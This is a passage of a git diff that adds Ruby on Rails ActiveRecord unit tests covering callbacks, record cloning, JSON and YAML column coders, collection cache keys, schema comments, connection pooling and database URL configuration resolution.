+    assert_not_nil ImmutableDeveloper.find_by_id(1)
+
+    someone = CallbackHaltedDeveloper.find(1)
+    someone.cancel_before_destroy = true
+    assert !someone.destroy
+    assert_raise(ActiveRecord::RecordNotDestroyed) { someone.destroy! }
+    assert !someone.after_destroy_called
+  end
+
+  def test_callback_throwing_abort
+    david = CallbackDeveloperWithHaltedValidation.find(1)
+    david.save
+    assert_equal [
+      [ :after_find,        :method ],
+      [ :after_find,        :proc   ],
+      [ :after_find,        :object ],
+      [ :after_find,        :block  ],
+      [ :after_initialize,  :method ],
+      [ :after_initialize,  :proc   ],
+      [ :after_initialize,  :object ],
+      [ :after_initialize,  :block  ],
+      [ :before_validation, :method ],
+      [ :before_validation, :proc   ],
+      [ :before_validation, :object ],
+      [ :before_validation, :block  ],
+      [ :before_validation, :throwing_abort ],
+      [ :after_rollback,    :block  ],
+      [ :after_rollback,    :object ],
+      [ :after_rollback,    :proc   ],
+      [ :after_rollback,    :method ],
+    ], david.history
+  end
+
+  def test_inheritance_of_callbacks
+    parent = ParentDeveloper.new
+    assert !parent.after_save_called
+    parent.save
+    assert parent.after_save_called
+
+    child = ChildDeveloper.new
+    assert !child.after_save_called
+    child.save
+    assert child.after_save_called
+  end
+end
diff --git a/activerecord/test/cases/clone_test.rb b/activerecord/test/cases/clone_test.rb
new file mode 100644
index 0000000000..3187e6aed5
--- /dev/null
+++ b/activerecord/test/cases/clone_test.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+
+module ActiveRecord
+  class CloneTest < ActiveRecord::TestCase
+    fixtures :topics
+
+    def test_persisted
+      topic = Topic.first
+      cloned = topic.clone
+      assert topic.persisted?, "topic persisted"
+      assert cloned.persisted?, "topic persisted"
+      assert !cloned.new_record?, "topic is not new"
+    end
+
+    def test_stays_frozen
+      topic = Topic.first
+      topic.freeze
+
+      cloned = topic.clone
+      assert cloned.persisted?, "topic persisted"
+      assert !cloned.new_record?, "topic is not new"
+      assert cloned.frozen?, "topic should be frozen"
+    end
+
+    def test_shallow
+      topic = Topic.first
+      cloned = topic.clone
+      topic.author_name = "Aaron"
+      assert_equal "Aaron", cloned.author_name
+    end
+
+    def test_freezing_a_cloned_model_does_not_freeze_clone
+      cloned = Topic.new
+      clone = cloned.clone
+      cloned.freeze
+      assert_not clone.frozen?
+    end
+  end
+end
diff --git a/activerecord/test/cases/coders/json_test.rb b/activerecord/test/cases/coders/json_test.rb
new file mode 100644
index 0000000000..e40d576b39
--- /dev/null
+++ b/activerecord/test/cases/coders/json_test.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module Coders
+    class JSONTest < ActiveRecord::TestCase
+      def test_returns_nil_if_empty_string_given
+        assert_nil JSON.load("")
+      end
+
+      def test_returns_nil_if_nil_given
+        assert_nil JSON.load(nil)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/coders/yaml_column_test.rb b/activerecord/test/cases/coders/yaml_column_test.rb
new file mode 100644
index 0000000000..4a5559c62f
--- /dev/null
+++ b/activerecord/test/cases/coders/yaml_column_test.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module Coders
+    class YAMLColumnTest < ActiveRecord::TestCase
+      def test_initialize_takes_class
+        coder = YAMLColumn.new("attr_name", Object)
+        assert_equal Object, coder.object_class
+      end
+
+      def test_type_mismatch_on_different_classes_on_dump
+        coder = YAMLColumn.new("tags", Array)
+        error = assert_raises(SerializationTypeMismatch) do
+          coder.dump("a")
+        end
+        assert_equal %{can't dump `tags`: was supposed to be a Array, but was a String. -- "a"}, error.to_s
+      end
+
+      def test_type_mismatch_on_different_classes
+        coder = YAMLColumn.new("tags", Array)
+        error = assert_raises(SerializationTypeMismatch) do
+          coder.load "--- foo"
+        end
+        assert_equal %{can't load `tags`: was supposed to be a Array, but was a String. -- "foo"}, error.to_s
+      end
+
+      def test_nil_is_ok
+        coder = YAMLColumn.new("attr_name")
+        assert_nil coder.load "--- "
+      end
+
+      def test_returns_new_with_different_class
+        coder = YAMLColumn.new("attr_name", SerializationTypeMismatch)
+        assert_equal SerializationTypeMismatch, coder.load("--- ").class
+      end
+
+      def test_returns_string_unless_starts_with_dash
+        coder = YAMLColumn.new("attr_name")
+        assert_equal "foo", coder.load("foo")
+      end
+
+      def test_load_handles_other_classes
+        coder = YAMLColumn.new("attr_name")
+        assert_equal [], coder.load([])
+      end
+
+      def test_load_doesnt_swallow_yaml_exceptions
+        coder = YAMLColumn.new("attr_name")
+        bad_yaml = "--- {"
+        assert_raises(Psych::SyntaxError) do
+          coder.load(bad_yaml)
+        end
+      end
+
+      def test_load_doesnt_handle_undefined_class_or_module
+        coder = YAMLColumn.new("attr_name")
+        missing_class_yaml = '--- !ruby/object:DoesNotExistAndShouldntEver {}\n'
+        assert_raises(ArgumentError) do
+          coder.load(missing_class_yaml)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/collection_cache_key_test.rb b/activerecord/test/cases/collection_cache_key_test.rb
new file mode 100644
index 0000000000..dbe6857487
--- /dev/null
+++ b/activerecord/test/cases/collection_cache_key_test.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/computer"
+require "models/developer"
+require "models/project"
+require "models/topic"
+require "models/post"
+require "models/comment"
+
+module ActiveRecord
+  class CollectionCacheKeyTest < ActiveRecord::TestCase
+    fixtures :developers, :projects, :developers_projects, :topics, :comments, :posts
+
+    test "collection_cache_key on model" do
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, Developer.collection_cache_key)
+    end
+
+    test "cache_key for relation" do
+      developers = Developer.where(salary: 100000).order(updated_at: :desc)
+      last_developer_timestamp = developers.first.updated_at
+
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
+
+      /\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/ =~ developers.cache_key
+
+      assert_equal Digest::MD5.hexdigest(developers.to_sql), $1
+      assert_equal developers.count.to_s, $2
+      assert_equal last_developer_timestamp.to_s(ActiveRecord::Base.cache_timestamp_format), $3
+    end
+
+    test "cache_key for relation with limit" do
+      developers = Developer.where(salary: 100000).order(updated_at: :desc).limit(5)
+      last_developer_timestamp = developers.first.updated_at
+
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
+
+      /\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/ =~ developers.cache_key
+
+      assert_equal Digest::MD5.hexdigest(developers.to_sql), $1
+      assert_equal developers.count.to_s, $2
+      assert_equal last_developer_timestamp.to_s(ActiveRecord::Base.cache_timestamp_format), $3
+    end
+
+    test "cache_key for loaded relation" do
+      developers = Developer.where(salary: 100000).order(updated_at: :desc).limit(5).load
+      last_developer_timestamp = developers.first.updated_at
+
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
+
+      /\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/ =~ developers.cache_key
+
+      assert_equal Digest::MD5.hexdigest(developers.to_sql), $1
+      assert_equal developers.count.to_s, $2
+      assert_equal last_developer_timestamp.to_s(ActiveRecord::Base.cache_timestamp_format), $3
+    end
+
+    test "it triggers at most one query" do
+      developers = Developer.where(name: "David")
+
+      assert_queries(1) { developers.cache_key }
+      assert_queries(0) { developers.cache_key }
+    end
+
+    test "it doesn't trigger any query if the relation is already loaded" do
+      developers = Developer.where(name: "David").load
+      assert_queries(0) { developers.cache_key }
+    end
+
+    test "relation cache_key changes when the sql query changes" do
+      developers = Developer.where(name: "David")
+      other_relation = Developer.where(name: "David").where("1 = 1")
+
+      assert_not_equal developers.cache_key, other_relation.cache_key
+    end
+
+    test "cache_key for empty relation" do
+      developers = Developer.where(name: "Non Existent Developer")
+      assert_match(/\Adevelopers\/query-(\h+)-0\z/, developers.cache_key)
+    end
+
+    test "cache_key with custom timestamp column" do
+      topics = Topic.where("title like ?", "%Topic%")
+      last_topic_timestamp = topics(:fifth).written_on.utc.to_s(:usec)
+      assert_match(last_topic_timestamp, topics.cache_key(:written_on))
+    end
+
+    test "cache_key with unknown timestamp column" do
+      topics = Topic.where("title like ?", "%Topic%")
+      assert_raises(ActiveRecord::StatementInvalid) { topics.cache_key(:published_at) }
+    end
+
+    test "collection proxy provides a cache_key" do
+      developers = projects(:active_record).developers
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
+    end
+
+    test "cache_key for loaded collection with zero size" do
+      Comment.delete_all
+      posts = Post.includes(:comments)
+      empty_loaded_collection = posts.first.comments
+
+      assert_match(/\Acomments\/query-(\h+)-0\z/, empty_loaded_collection.cache_key)
+    end
+
+    test "cache_key for queries with offset which return 0 rows" do
+      developers = Developer.offset(20)
+      assert_match(/\Adevelopers\/query-(\h+)-0\z/, developers.cache_key)
+    end
+
+    test "cache_key with a relation having selected columns" do
+      developers = Developer.select(:salary)
+
+      assert_match(/\Adevelopers\/query-(\h+)-(\d+)-(\d+)\z/, developers.cache_key)
+    end
+  end
+end
diff --git a/activerecord/test/cases/column_alias_test.rb b/activerecord/test/cases/column_alias_test.rb
new file mode 100644
index 0000000000..a883d21fb8
--- /dev/null
+++ b/activerecord/test/cases/column_alias_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+
+class TestColumnAlias < ActiveRecord::TestCase
+  fixtures :topics
+
+  QUERY = if "Oracle" == ActiveRecord::Base.connection.adapter_name
+    "SELECT id AS pk FROM topics WHERE ROWNUM < 2"
+  else
+    "SELECT id AS pk FROM topics"
+  end
+
+  def test_column_alias
+    records = Topic.connection.select_all(QUERY)
+    assert_equal "pk", records[0].keys[0]
+  end
+end
diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb
new file mode 100644
index 0000000000..cbd2b44589
--- /dev/null
+++ b/activerecord/test/cases/column_definition_test.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ColumnDefinitionTest < ActiveRecord::TestCase
+      def setup
+        @adapter = AbstractAdapter.new(nil)
+        def @adapter.native_database_types
+          { string: "varchar" }
+        end
+        @viz = @adapter.send(:schema_creation)
+      end
+
+      # Avoid column definitions in create table statements like:
+      # `title` varchar(255) DEFAULT NULL
+      def test_should_not_include_default_clause_when_default_is_null
+        column_def = ColumnDefinition.new("title", "string", limit: 20)
+        assert_equal "title varchar(20)", @viz.accept(column_def)
+      end
+
+      def test_should_include_default_clause_when_default_is_present
+        column_def = ColumnDefinition.new("title", "string", limit: 20, default: "Hello")
+        assert_equal "title varchar(20) DEFAULT 'Hello'", @viz.accept(column_def)
+      end
+
+      def test_should_specify_not_null_if_null_option_is_false
+        column_def = ColumnDefinition.new("title", "string", limit: 20, default: "Hello", null: false)
+        assert_equal "title varchar(20) DEFAULT 'Hello' NOT NULL", @viz.accept(column_def)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/comment_test.rb b/activerecord/test/cases/comment_test.rb
new file mode 100644
index 0000000000..9ab6607668
--- /dev/null
+++ b/activerecord/test/cases/comment_test.rb
@@ -0,0 +1,148 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.connection.supports_comments?
+  class CommentTest < ActiveRecord::TestCase
+    include SchemaDumpingHelper
+
+    class Commented < ActiveRecord::Base
+      self.table_name = "commenteds"
+    end
+
+    class BlankComment < ActiveRecord::Base
+    end
+
+    setup do
+      @connection = ActiveRecord::Base.connection
+
+      @connection.create_table("commenteds", comment: "A table with comment", force: true) do |t|
+        t.string  "name",    comment: "Comment should help clarify the column purpose"
+        t.boolean "obvious", comment: "Question is: should you comment obviously named objects?"
+        t.string  "content"
+        t.index   "name",    comment: %Q["Very important" index that powers all the performance.\nAnd it's fun!]
+      end
+
+      @connection.create_table("blank_comments", comment: " ", force: true) do |t|
+        t.string :space_comment, comment: " "
+        t.string :empty_comment, comment: ""
+        t.string :nil_comment, comment: nil
+        t.string :absent_comment
+        t.index :space_comment, comment: " "
+        t.index :empty_comment, comment: ""
+        t.index :nil_comment, comment: nil
+        t.index :absent_comment
+      end
+
+      Commented.reset_column_information
+      BlankComment.reset_column_information
+    end
+
+    teardown do
+      @connection.drop_table "commenteds", if_exists: true
+      @connection.drop_table "blank_comments", if_exists: true
+    end
+
+    def test_column_created_in_block
+      column = Commented.columns_hash["name"]
+      assert_equal :string, column.type
+      assert_equal "Comment should help clarify the column purpose", column.comment
+    end
+
+    def test_blank_columns_created_in_block
+      %w[ space_comment empty_comment nil_comment absent_comment ].each do |field|
+        column = BlankComment.columns_hash[field]
+        assert_equal :string, column.type
+        assert_nil column.comment
+      end
+    end
+
+    def test_blank_indexes_created_in_block
+      @connection.indexes("blank_comments").each do |index|
+        assert_nil index.comment
+      end
+    end
+
+    def test_add_column_with_comment_later
+      @connection.add_column :commenteds, :rating, :integer, comment: "I am running out of imagination"
+      Commented.reset_column_information
+      column = Commented.columns_hash["rating"]
+
+      assert_equal :integer, column.type
+      assert_equal "I am running out of imagination", column.comment
+    end
+
+    def test_add_index_with_comment_later
+      unless current_adapter?(:OracleAdapter)
+        @connection.add_index :commenteds, :obvious, name: "idx_obvious", comment: "We need to see obvious comments"
+        index = @connection.indexes("commenteds").find { |idef| idef.name == "idx_obvious" }
+        assert_equal "We need to see obvious comments", index.comment
+      end
+    end
+
+    def test_add_comment_to_column
+      @connection.change_column :commenteds, :content, :string, comment: "Whoa, content describes itself!"
+
+      Commented.reset_column_information
+      column = Commented.columns_hash["content"]
+
+      assert_equal :string, column.type
+      assert_equal "Whoa, content describes itself!", column.comment
+    end
+
+    def test_remove_comment_from_column
+      @connection.change_column :commenteds, :obvious, :string, comment: nil
+
+      Commented.reset_column_information
+      column = Commented.columns_hash["obvious"]
+
+      assert_equal :string, column.type
+      assert_nil column.comment
+    end
+
+    def test_schema_dump_with_comments
+      # Do all the stuff from other tests
+      @connection.add_column    :commenteds, :rating, :integer, comment: "I am running out of imagination"
+      @connection.change_column :commenteds, :content, :string, comment: "Whoa, content describes itself!"
+      @connection.change_column :commenteds, :content, :string
+      @connection.change_column :commenteds, :obvious, :string, comment: nil
+      @connection.add_index     :commenteds, :obvious, name: "idx_obvious", comment: "We need to see obvious comments"
+
+      # And check that these changes are reflected in dump
+      output = dump_table_schema "commenteds"
+      assert_match %r[create_table "commenteds",.+\s+comment: "A table with comment"], output
+      assert_match %r[t\.string\s+"name",\s+comment: "Comment should help clarify the column purpose"], output
+      assert_match %r[t\.string\s+"obvious"\n], output
+      assert_match %r[t\.string\s+"content",\s+comment: "Whoa, content describes itself!"], output
+      if current_adapter?(:OracleAdapter)
+        assert_match %r[t\.integer\s+"rating",\s+precision: 38,\s+comment: "I am running out of imagination"], output
+      else
+        assert_match %r[t\.integer\s+"rating",\s+comment: "I am running out of imagination"], output
+      end
+      unless current_adapter?(:OracleAdapter)
+        assert_match %r[t\.index\s+.+\s+comment: "\\\"Very important\\\" index that powers all the performance.\\nAnd it's fun!"], output
+        assert_match %r[t\.index\s+.+\s+name: "idx_obvious",\s+comment: "We need to see obvious comments"], output
+      end
+    end
+
+    def test_schema_dump_omits_blank_comments
+      output = dump_table_schema "blank_comments"
+
+      assert_match %r[create_table "blank_comments"], output
+      assert_no_match %r[create_table "blank_comments",.+comment:], output
+
+      assert_match %r[t\.string\s+"space_comment"\n], output
+      assert_no_match %r[t\.string\s+"space_comment", comment:\n], output
+
+      assert_match %r[t\.string\s+"empty_comment"\n], output
+      assert_no_match %r[t\.string\s+"empty_comment", comment:\n], output
+
+      assert_match %r[t\.string\s+"nil_comment"\n], output
+      assert_no_match %r[t\.string\s+"nil_comment", comment:\n], output
+
+      assert_match %r[t\.string\s+"absent_comment"\n], output
+      assert_no_match %r[t\.string\s+"absent_comment", comment:\n], output
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb
new file mode 100644
index 0000000000..82c6cf8dea
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/adapter_leasing_test.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class AdapterLeasingTest < ActiveRecord::TestCase
+      class Pool < ConnectionPool
+        def insert_connection_for_test!(c)
+          synchronize do
+            adopt_connection(c)
+            @available.add c
+          end
+        end
+      end
+
+      def setup
+        @adapter = AbstractAdapter.new nil, nil
+      end
+
+      def test_in_use?
+        assert_not @adapter.in_use?, "adapter is not in use"
+        assert @adapter.lease, "lease adapter"
+        assert @adapter.in_use?, "adapter is in use"
+      end
+
+      def test_lease_twice
+        assert @adapter.lease, "should lease adapter"
+        assert_raises(ActiveRecordError) do
+          @adapter.lease
+        end
+      end
+
+      def test_expire_mutates_in_use
+        assert @adapter.lease, "lease adapter"
+        assert @adapter.in_use?, "adapter is in use"
+        @adapter.expire
+        assert_not @adapter.in_use?, "adapter is in use"
+      end
+
+      def test_close
+        pool = Pool.new(ConnectionSpecification.new("primary", {}, nil))
+        pool.insert_connection_for_test! @adapter
+        @adapter.pool = pool
+
+        # Make sure the pool marks the connection in use
+        assert_equal @adapter, pool.connection
+        assert @adapter.in_use?
+
+        # Close should put the adapter back in the pool
+        @adapter.close
+        assert_not @adapter.in_use?
+
+        assert_equal @adapter, pool.connection
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
new file mode 100644
index 0000000000..74d0ed348e
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
@@ -0,0 +1,232 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionHandlerTest < ActiveRecord::TestCase
+      def setup
+        @handler = ConnectionHandler.new
+        @spec_name = "primary"
+        @pool = @handler.establish_connection(ActiveRecord::Base.configurations["arunit"])
+      end
+
+      def test_default_env_fall_back_to_default_env_when_rails_env_or_rack_env_is_empty_string
+        original_rails_env = ENV["RAILS_ENV"]
+        original_rack_env  = ENV["RACK_ENV"]
+        ENV["RAILS_ENV"]   = ENV["RACK_ENV"] = ""
+
+        assert_equal "default_env", ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+      ensure
+        ENV["RAILS_ENV"] = original_rails_env
+        ENV["RACK_ENV"]  = original_rack_env
+      end
+
+      def test_establish_connection_uses_spec_name
+        config = { "readonly" => { "adapter" => "sqlite3" } }
+        resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new(config)
+        spec =   resolver.spec(:readonly)
+        @handler.establish_connection(spec.to_hash)
+
+        assert_not_nil @handler.retrieve_connection_pool("readonly")
+      ensure
+        @handler.remove_connection("readonly")
+      end
+
+      def test_establish_connection_using_3_levels_config
+        previous_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "default_env"
+
+        config = {
+          "default_env" => {
+            "readonly" => { "adapter" => "sqlite3", "database" => "db/readonly.sqlite3" },
+            "primary"  => { "adapter" => "sqlite3", "database" => "db/primary.sqlite3" }
+          },
+          "another_env" => {
+            "readonly" => { "adapter" => "sqlite3", "database" => "db/bad-readonly.sqlite3" },
+            "primary"  => { "adapter" => "sqlite3", "database" => "db/bad-primary.sqlite3" }
+          },
+          "common" => { "adapter" => "sqlite3", "database" => "db/common.sqlite3" }
+        }
+        @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+        @handler.establish_connection(:common)
+        @handler.establish_connection(:primary)
+        @handler.establish_connection(:readonly)
+
+        assert_not_nil pool = @handler.retrieve_connection_pool("readonly")
+        assert_equal "db/readonly.sqlite3", pool.spec.config[:database]
+
+        assert_not_nil pool = @handler.retrieve_connection_pool("primary")
+        assert_equal "db/primary.sqlite3", pool.spec.config[:database]
+
+        assert_not_nil pool = @handler.retrieve_connection_pool("common")
+        assert_equal "db/common.sqlite3", pool.spec.config[:database]
+      ensure
+        ActiveRecord::Base.configurations = @prev_configs
+        ENV["RAILS_ENV"] = previous_env
+      end
+
+      def test_establish_connection_using_two_level_configurations
+        config = { "development" => { "adapter" => "sqlite3", "database" => "db/primary.sqlite3" } }
+        @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+        @handler.establish_connection(:development)
+
+        assert_not_nil pool = @handler.retrieve_connection_pool("development")
+        assert_equal "db/primary.sqlite3", pool.spec.config[:database]
+      ensure
+        ActiveRecord::Base.configurations = @prev_configs
+      end
+
+      def test_establish_connection_using_top_level_key_in_two_level_config
+        config = {
+          "development" => { "adapter" => "sqlite3", "database" => "db/primary.sqlite3" },
+          "development_readonly" => { "adapter" => "sqlite3", "database" => "db/readonly.sqlite3" }
+        }
+        @prev_configs, ActiveRecord::Base.configurations = ActiveRecord::Base.configurations, config
+
+        @handler.establish_connection(:development_readonly)
+
+        assert_not_nil pool = @handler.retrieve_connection_pool("development_readonly")
+        assert_equal "db/readonly.sqlite3", pool.spec.config[:database]
+      ensure
+        ActiveRecord::Base.configurations = @prev_configs
+      end
+
+      def test_retrieve_connection
+        assert @handler.retrieve_connection(@spec_name)
+      end
+
+      def test_active_connections?
+        assert !@handler.active_connections?
+        assert @handler.retrieve_connection(@spec_name)
+        assert @handler.active_connections?
+        @handler.clear_active_connections!
+        assert !@handler.active_connections?
+      end
+
+      def test_retrieve_connection_pool
+        assert_not_nil @handler.retrieve_connection_pool(@spec_name)
+      end
+
+      def test_retrieve_connection_pool_with_invalid_id
+        assert_nil @handler.retrieve_connection_pool("foo")
+      end
+
+      def test_connection_pools
+        assert_equal([@pool], @handler.connection_pools)
+      end
+
+      if Process.respond_to?(:fork)
+        def test_connection_pool_per_pid
+          object_id = ActiveRecord::Base.connection.object_id
+
+          rd, wr = IO.pipe
+          rd.binmode
+          wr.binmode
+
+          pid = fork {
+            rd.close
+            wr.write Marshal.dump ActiveRecord::Base.connection.object_id
+            wr.close
+            exit!
+          }
+
+          wr.close
+
+          Process.waitpid pid
+          assert_not_equal object_id, Marshal.load(rd.read)
+          rd.close
+        end
+
+        def test_retrieve_connection_pool_copies_schema_cache_from_ancestor_pool
+          @pool.schema_cache = @pool.connection.schema_cache
+          @pool.schema_cache.add("posts")
+
+          rd, wr = IO.pipe
+          rd.binmode
+          wr.binmode
+
+          pid = fork {
+            rd.close
+            pool = @handler.retrieve_connection_pool(@spec_name)
+            wr.write Marshal.dump pool.schema_cache.size
+            wr.close
+            exit!
+          }
+
+          wr.close
+
+          Process.waitpid pid
+          assert_equal @pool.schema_cache.size, Marshal.load(rd.read)
+          rd.close
+        end
+
+        def test_pool_from_any_process_for_uses_most_recent_spec
+          skip unless current_adapter?(:SQLite3Adapter)
+
+          file = Tempfile.new "lol.sqlite3"
+
+          rd, wr = IO.pipe
+          rd.binmode
+          wr.binmode
+
+          pid = fork do
+            ActiveRecord::Base.configurations["arunit"]["database"] = file.path
+            ActiveRecord::Base.establish_connection(:arunit)
+
+            pid2 = fork do
+              wr.write ActiveRecord::Base.connection_config[:database]
+              wr.close
+            end
+
+            Process.waitpid pid2
+          end
+
+          Process.waitpid pid
+
+          wr.close
+
+          assert_equal file.path, rd.read
+
+          rd.close
+        ensure
+          if file
+            file.close
+            file.unlink
+          end
+        end
+
+        def test_a_class_using_custom_pool_and_switching_back_to_primary
+          klass2 = Class.new(Base) { def self.name; "klass2"; end }
+
+          assert_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id
+
+          pool = klass2.establish_connection(ActiveRecord::Base.connection_pool.spec.config)
+          assert_equal klass2.connection.object_id, pool.connection.object_id
+          refute_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id
+
+          klass2.remove_connection
+
+          assert_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id
+        end
+
+        def test_connection_specification_name_should_fallback_to_parent
+          klassA = Class.new(Base)
+          klassB = Class.new(klassA)
+
+          assert_equal klassB.connection_specification_name, klassA.connection_specification_name
+          klassA.connection_specification_name = "readonly"
+          assert_equal "readonly", klassB.connection_specification_name
+        end
+
+        def test_remove_connection_should_not_remove_parent
+          klass2 = Class.new(Base) { def self.name; "klass2"; end }
+          klass2.remove_connection
+          refute_nil ActiveRecord::Base.connection.object_id
+          assert_equal klass2.connection.object_id, ActiveRecord::Base.connection.object_id
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/connection_specification_test.rb b/activerecord/test/cases/connection_adapters/connection_specification_test.rb
new file mode 100644
index 0000000000..f81b73c344
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/connection_specification_test.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionSpecificationTest < ActiveRecord::TestCase
+      def test_dup_deep_copy_config
+        spec = ConnectionSpecification.new("primary", { a: :b }, "bar")
+        assert_not_equal(spec.config.object_id, spec.dup.config.object_id)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb b/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb
new file mode 100644
index 0000000000..1b64324cc4
--- /dev/null
+++ b/activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb
@@ -0,0 +1,257 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class MergeAndResolveDefaultUrlConfigTest < ActiveRecord::TestCase
+      def setup
+        @previous_database_url = ENV.delete("DATABASE_URL")
+        @previous_rack_env = ENV.delete("RACK_ENV")
+        @previous_rails_env = ENV.delete("RAILS_ENV")
+      end
+
+      teardown do
+        ENV["DATABASE_URL"] = @previous_database_url
+        ENV["RACK_ENV"] = @previous_rack_env
+        ENV["RAILS_ENV"] = @previous_rails_env
+      end
+
+      def resolve_config(config)
+        ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve
+      end
+
+      def resolve_spec(spec, config)
+        ConnectionSpecification::Resolver.new(resolve_config(config)).resolve(spec)
+      end
+
+      def test_resolver_with_database_uri_and_current_env_symbol_key
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+        config   = { "not_production" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        actual   = resolve_spec(:default_env, config)
+        expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost", "name" => "default_env" }
+        assert_equal expected, actual
+      end
+
+      def test_resolver_with_database_uri_and_current_env_symbol_key_and_rails_env
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+        ENV["RAILS_ENV"]    = "foo"
+
+        config   = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+        actual   = resolve_spec(:foo, config)
+        expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost", "name" => "foo" }
+        assert_equal expected, actual
+      end
+
+      def test_resolver_with_database_uri_and_current_env_symbol_key_and_rack_env
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+        ENV["RACK_ENV"]     = "foo"
+
+        config   = { "not_production" => { "adapter" => "not_postgres", "database" => "not_foo" } }
+        actual   = resolve_spec(:foo, config)
+        expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost", "name" => "foo" }
+        assert_equal expected, actual
+      end
+
+      def test_resolver_with_database_uri_and_known_key
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+        config   = { "production" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
+        actual   = resolve_spec(:production, config)
+        expected = { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost", "name" => "production" }
+        assert_equal expected, actual
+      end
+
+      def test_resolver_with_database_uri_and_unknown_symbol_key
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+        config = { "not_production" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        assert_raises AdapterNotSpecified do
+          resolve_spec(:production, config)
+        end
+      end
+
+      def test_resolver_with_database_uri_and_supplied_url
+        ENV["DATABASE_URL"] = "not-postgres://not-localhost/not_foo"
+        config   = { "production" => {  "adapter" => "also_not_postgres", "database" => "also_not_foo" } }
+        actual   = resolve_spec("postgres://localhost/foo", config)
+        expected = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost" }
+        assert_equal expected, actual
+      end
+
+      def test_jdbc_url
+        config   = { "production" => { "url" => "jdbc:postgres://localhost/foo" } }
+        actual   = resolve_config(config)
+        assert_equal config, actual
+      end
+
+      def test_environment_does_not_exist_in_config_url_does_exist
+        ENV["DATABASE_URL"] = "postgres://localhost/foo"
+        config      = { "not_default_env" => {  "adapter" => "not_postgres", "database" => "not_foo" } }
+        actual      = resolve_config(config)
+        expect_prod = { "adapter" => "postgresql", "database" => "foo", "host" => "localhost" }
+        assert_equal expect_prod, actual["default_env"]
+      end
+
+      def test_url_with_hyphenated_scheme
+        ENV["DATABASE_URL"] = "ibm-db://localhost/foo"
+        config   = { "default_env" => { "adapter" => "not_postgres", "database" => "not_foo", "host" => "localhost" } }
+        actual   = resolve_spec(:default_env, config)
+        expected = { "adapter" => "ibm_db", "database" => "foo", "host" => "localhost", "name" => "default_env" }
+        assert_equal expected, actual
+      end
+
+      def test_string_connection
+        config   = { "default_env" => "postgres://localhost/foo" }
+        actual   = resolve_config(config)
+        expected = { "default_env" =>
+                     { "adapter"  => "postgresql",
+                       "database" => "foo",
+                       "host"     => "localhost"
+                      }
+                    }
